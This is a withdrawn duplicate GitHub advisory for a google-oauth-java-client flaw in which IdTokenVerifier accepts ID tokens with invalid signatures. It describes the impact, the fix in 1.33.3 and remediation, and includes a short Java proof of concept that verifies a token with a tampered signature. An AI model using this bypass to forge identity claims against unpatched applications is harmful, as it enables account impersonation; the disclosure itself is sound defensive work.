GHSA-xh97-72ww-2w58

Dashboard / Vulnerabilities / GHSA-xh97-72ww-2w58

GHSA-xh97-72ww-2w58

Summary: Duplicate Advisory: Improper Verification of Cryptographic Signature in google-oauth-java-client

Details: ### Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-hw42-3568-wj87. This link is maintained to preserve external references. ### Summary The vulnerability impacts only users of the IdTokenVerifier class. The verify method in IdTokenVerifier does not validate the signature before verifying the claims (e.g., iss, aud, etc.). Signature verification makes sure that the token's payload comes from valid provider, not from someone else. An attacker can provide a compromised token with modified payload like email or phone number. The token will pass the validation by the library. Once verified, modified payload can be used by the application. If the application sends verified IdToken to other service as is like for auth - the risk is low, because the backend of the service is expected to check the signature and fail the request. Reporter: [Tamjid al Rahat](https://github.com/tamjidrahat), contributor ### Patches The issue was fixed in the 1.33.3 version of the library ### Proof of Concept To reproduce, one needs to call the verify function with an IdToken instance that contains a malformed signature to successfully bypass the checks inside the verify function. ``` /** A default http transport factory for testing */ static class DefaultHttpTransportFactory implements HttpTransportFactory { public HttpTransport create() { return new NetHttpTransport(); } } // The below token has some modified bits in the signature private static final String SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE = "eyJhbGciOiJSUzI1NiIsImtpZCI6IjJlZjc3YjM4YTFiMDM3MDQ4NzA0MzkxNmFjYmYyN2Q3NG" + "VkZDA4YjEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL2V4YW1wbGUuY29tL2F1ZGllbm" + "NlIiwiZXhwIjoxNTg3NjMwNTQzLCJpYXQiOjE1ODc2MjY5NDMsImlzcyI6InNvbWUgaXNzdWVy" + "Iiwic3ViIjoic29tZSBzdWJqZWN0In0.gGOQW0qQgs4jGUmCsgRV83RqsJLaEy89-ZOG6p1u0Y26" + "FyY06b6Odgd7xXLsSTiiSnch62dl0Lfi9D0x2ByxvsGOCbovmBl2ZZ0zHr1wpc4N0XS9lMUq5RJ" + "QbonDibxXG4nC2zroDfvD0h7i-L8KMXeJb9pYwW7LkmrM_YwYfJnWnZ4bpcsDjojmPeUBlACg7tjjOgBFby" + "QZvUtaERJwSRlaWibvNjof7eCVfZChE0PwBpZc_cGqSqKXv544L4ttqdCnm0NjqrTATXwC4gYx" + "ruevkjHfYI5ojcQmXoWDJJ0-_jzfyPE4MFFdCFgzLgnfIOwe5ve0MtquKuv2O0pgvg"; IdTokenVerifier tokenVerifier = new IdTokenVerifier.Builder() .setClock(clock) .setCertificatesLocation("https://www.googleapis.com/robot/v1/metadata/x509/integration-tests%40chingor-test.iam.gserviceaccount.com") .setHttpTransportFactory(new DefaultHttpTransportFactory()) .build(); // verification will return true despite modified signature for versions <1.33.3 tokenVerifier.verify(IdToken.parse(GsonFactory.getDefaultInstance(), SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE)); ``` ### Remediation and Mitigation Update to the version 1.33.3 or higher If the library used indirectly or cannot be updated for any reason you can use similar IdToken verifiers provided by Google that already has signature verification. For example: [google-auth-library-java](https://github.com/googleapis/google-auth-library-java/blob/main/oauth2_http/java/com/google/auth/oauth2/TokenVerifier.java) [google-api-java-client](https://github.com/googleapis/google-api-java-client/blob/main/google-api-client/src/main/java/com/google/api/client/googleapis/auth/oauth2/GoogleIdTokenVerifier.java) ###Timeline Date reported: 12 Dec 2021 Date fixed: 13 Apr 2022 Date disclosed: 2 May 2022 ### For more information If you have any questions or comments about this advisory: * Open an issue in the [google-oauth-java-client](https://github.com/googleapis/google-oauth-java-client) repo

References: https://github.com/googleapis/google-oauth-java-client/security/advisories/GHSA-hw42-3568-wj87, https://nvd.nist.gov/vuln/detail/CVE-2021-22573, https://github.com/googleapis/google-oauth-java-client/pull/872, https://github.com/googleapis/google-oauth-java-client